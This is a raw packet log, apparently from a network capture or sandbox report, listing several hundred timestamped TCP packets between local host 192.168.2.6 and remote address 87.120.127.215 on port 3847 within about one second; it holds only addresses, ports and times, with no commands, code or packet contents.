Dec 18, 2024 19:28:08.612799883 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.613605022 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.613655090 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.613786936 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.614465952 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.614497900 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.614599943 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.615377903 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.615497112 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.615499973 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.616235018 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.616321087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.616386890 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.617063999 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.617103100 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.617173910 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.617865086 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.617907047 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.765126944 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.765379906 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.765422106 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.765461922 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.765494108 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.765543938 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.766120911 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.766166925 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.766834974 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.766962051 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.767046928 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.767108917 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.768083096 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.768393993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.768436909 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.769268990 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.769376040 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.769423962 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.770071030 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.770152092 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.770764112 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.770808935 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.770869970 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.770914078 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.771697998 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.771764040 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.771840096 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.772522926 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.772603989 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.772646904 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.773607969 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.773674011 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.773727894 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.774380922 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.774445057 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.774487972 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.774982929 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.775158882 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.775554895 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.775799036 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.775897980 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.776343107 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.776377916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.776542902 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.776599884 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.777285099 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.777373075 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.777416945 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.778045893 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.778163910 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.778539896 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.778714895 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.778831005 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.778875113 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.779539108 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.779669046 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.779721975 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.780401945 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.780484915 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.780580997 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.781246901 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.781394005 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.781462908 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.782100916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.782227039 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.782285929 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.782999039 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.783063889 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.783106089 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.783906937 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.783999920 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.784053087 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.784815073 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.784965992 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.785007000 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.785576105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.785679102 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.785734892 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.786474943 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.786545992 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.786639929 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.787362099 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.787724018 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.787827969 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.788240910 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.788326979 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.788364887 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.789041042 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.789129972 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.789184093 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.789994001 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.790117025 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.790157080 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.790860891 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.790955067 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.791021109 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.791611910 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.791682005 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.791894913 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.792495966 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.792666912 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.792706966 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.793354988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.793483019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.793540001 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.794255018 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.794397116 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.794455051 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.795171022 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.795310020 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.795357943 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.795984983 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.796003103 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.796041012 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.796931982 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.796973944 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.797101021 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.797687054 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.797806025 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.798336029 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.798507929 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.798609972 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.798960924 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.799417019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.799514055 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.799566031 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.800249100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.800379038 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.800421953 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.801173925 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.801271915 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.801316023 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.801970959 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.802114010 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.802253962 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.802860975 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.802957058 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.803770065 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.803776979 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.803838968 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.803922892 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.804572105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.804738045 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.804785967 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.805402994 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.805520058 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.805566072 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.806287050 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.806303978 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.806346893 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.807142019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.807321072 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.807419062 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.808057070 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.808183908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.808326006 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.808859110 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.809020042 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.809082031 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.809715986 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.894509077 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.957524061 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.957722902 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.957943916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.958059072 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.958071947 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.958165884 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.958662033 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.958759069 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.959163904 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.959544897 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.959642887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.959702015 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.960397959 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.960567951 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.961107969 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.961338997 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.961375952 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.961529016 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.962002993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.962105989 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.962193966 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.962843895 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.963077068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.963496923 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.963808060 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.963939905 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.964049101 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.964596987 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.964744091 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.965082884 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.965521097 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.965630054 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.965681076 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.966372967 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.966417074 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.966826916 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.967178106 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.967238903 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.967303991 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.968147993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.968241930 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.968432903 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.968913078 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.969003916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.969145060 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.969813108 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.969857931 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.970027924 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.970647097 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.970755100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.970860004 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.971498013 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.971611977 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.971700907 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.972443104 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.972568035 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.972652912 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.973293066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.973414898 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.973515987 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.974188089 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.974318981 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.974457026 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.975099087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.975199938 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.975527048 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.975892067 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.975999117 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.976080894 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.976672888 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.976793051 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.976872921 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.977574110 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.977641106 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.977744102 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.978419065 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.978518009 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.978626013 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.979336977 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.979381084 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.979495049 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.980187893 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.980298996 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.980334997 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.981075048 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.981216908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.981384039 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.981975079 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.982110023 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.982161045 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.982728958 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.982862949 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.982908010 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.983580112 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.983679056 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.983741999 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.984538078 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.984601021 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.984786987 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.985318899 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.985502958 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.985574961 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.986141920 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.986275911 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.986385107 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.987111092 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.987236023 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.987286091 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.987941027 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.988045931 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.988298893 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.988934040 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.989093065 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.989141941 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.989634037 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.989703894 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.989765882 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.990458012 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.990642071 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.990696907 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.991364002 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.991461992 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.991532087 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.992198944 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.992295980 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.992393970 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.993149996 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.993278980 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.993699074 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.993936062 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.994050026 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.994117975 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.994822025 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.994942904 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.995115995 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.995640039 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.995771885 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.995822906 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.996524096 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.996665955 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.996712923 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.997402906 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.997462988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.997633934 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.998248100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.998372078 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.998425007 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.999181986 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.999322891 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.999463081 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.000024080 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.000088930 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.000197887 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.000871897 CET	3847	49859	87.120.127.215	192.168.2.6
